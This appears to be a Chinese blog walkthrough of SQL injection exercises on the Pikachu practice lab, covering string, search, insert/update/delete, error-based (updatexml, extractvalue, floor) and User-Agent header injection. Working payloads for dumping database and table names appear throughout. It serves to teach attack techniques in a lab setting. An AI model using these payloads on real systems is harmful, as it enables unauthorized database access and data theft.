什么時SQL注入具體之前的博文都有,直接干就完事了。

來到靶場,發現這個是一個post的注入,直接bp拿起來就是抓

抓到包先測試一下,or 1=1# 能不能遍歷

發現可以遍歷,那就可以接着我們其他的操作。
具體之前的博客都有寫,那些基礎的操作這里就不說了。

從username判斷,帶入數據庫查詢的是字符串
構造查詢語句為 xxx' or 1=1#

遍歷成功,一樣繼續查表,字段。
最后查詢出來的結果為

搜索型注入

這個類型,我們推測用的是SQL語句中的like來進行模糊判斷
那我們就可以猜測模糊查詢的字段應該是'%查詢內容%'
那么我可以構造
xxx%' or 1=1#
一樣遍歷成功
xx型
說白了就是閉合的符號不一樣
這里用xx') or 1=1#
一樣能遍歷

基於報錯的信息獲取
技巧思路:
在mysql中使用一些指定的函數來制造報錯,從而從報錯信息中獲取設定的信息。
select/insert/update/delete
要求:
后台沒有屏蔽數據庫報錯信息,在語法發生錯誤的時候會輸出在前端
updatexml() : 是mysql對xml文檔數據進行查詢和修改的xpath函數
extractvalue():是mysql對xml文檔數據進行查詢的xpath函數
floor():mysql中用來取整的函數
updatexml函數的作用就是改變(查找並替換)xml文檔中符合條件的節點的值
語法:updatexml(xml_document,XPthstring,new_value)
第一個參數是字符串
第二個參數是指定字符串中的一個位置(Xpath格式的字符串)
第三個參數是將要替換成什么
Xpath定位必須是有效的,否則則會發生錯誤
接下來進入靶場

構造以下函數
kobe' and updatexml(1,concat(0x7e,database()),0)#

報錯獲取數據庫名稱
因為xpth報錯注入每次只能顯示一行
所以我們可以
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'pikachu' limit 0,1)),0)#

爆出了第一個表,其他的就不再操作了,就還是一樣的
insert/update/delete注入
進入靶場


我們知道insert就是在數據庫中添加數據
那么我們注冊一個賬號,是不是就是在數據庫中添加了你的賬號數據
那么我們可以在注冊頁面插入我們的注入語句
我們猜測后台的mysql語句應該是
insert into user(name,password,sex,phone,address1,address2) value('xxx',123,1,2,3,4)
那我們可以在xxx的位置構造我們的注入語句
xxx' or updatexml(1,concat(0x7e,database()),0) or '

我們來分析以下為什么會成功
后台的mysql語句被我們拼湊成了
insert into user(name,password,sex,phone,address1,address2) value('xxx' or updatexml(1,concat(0x7e,database()),0) or '',123,1,2,3,4)
這樣就會讓我們的語句成功執行
接下來是update注入
我們先正經注冊一個賬號,然后登陸

我們來到這個界面
還是和之前一樣,我們要想象,后台的mysql語句是怎么執行的
更新我們的信息,需要用到的時候update語句
當修改性別的時候推測后台執行了
update tables set sex = '$sex' where name = 'sbb';
這樣我們可以在$sex處構造語句
xxx' or updatexml(1,concat(0x7e,database()),0) or '
把構造好的語句插入進去看看
update tables set sex = 'xxx' or updatexml(1,concat(0x7e,database()),0) or '
' where name = 'sbb';
就構造了一個閉合,可以查詢我們想要查詢的內容了

delete注入

既然是delete注入,那肯定是在刪除這里,
我們先隨便留幾條言

然后我們開啟抓包,進行刪除操作
數據包如下

我們在url后面跟上我們的語句,因為這里傳的是數值型,我們就不用單引號閉合,直接or就行了

這里要注意要進行一下url編碼,否則不算一個完整的url

這樣就完成了我們的注入,后面的操作都一樣了
extractvalue()函數,從目標xml中返回包含所查詢值的字符串
第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為doc
第二個參數:XPath_string(Xpath格式的字符串)
Xpath定位必須是有效的,否則則會發生錯誤
用法其實跟updatexml一樣
用字符型注入測試一下
xxx' and extractvalue(1,concat(0x7e,database())) #

基於floor()
floor是mysql的一個取整函數

payload
xxx' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2)) x from information_schema.tables group by x) a)#

Http header注入
有些時候,后台開發人員為了驗證客戶端頭信息,比如常用的cookie驗證,或者通過http請求頭信息獲取客戶端的一些信息,比如useragent、accept字段等等,會對客戶端的http請求頭信息獲取並使用sql進行處理,如果此時沒有足夠的安全考慮,則可能會導致基於http頭的sql注入漏洞
進入靶場

我們按照提示的賬號密碼登陸進來,發現提示我的信息被記錄了。
就是一部分我們的請求頭信息和端口信息
我們開啟抓包
刷新
數據包如下

它既然標識出了我們的user-agent
那我們就從user-agent注入

傳個單引號發現有報錯信息,

利用我們構造的payload
一樣搞定
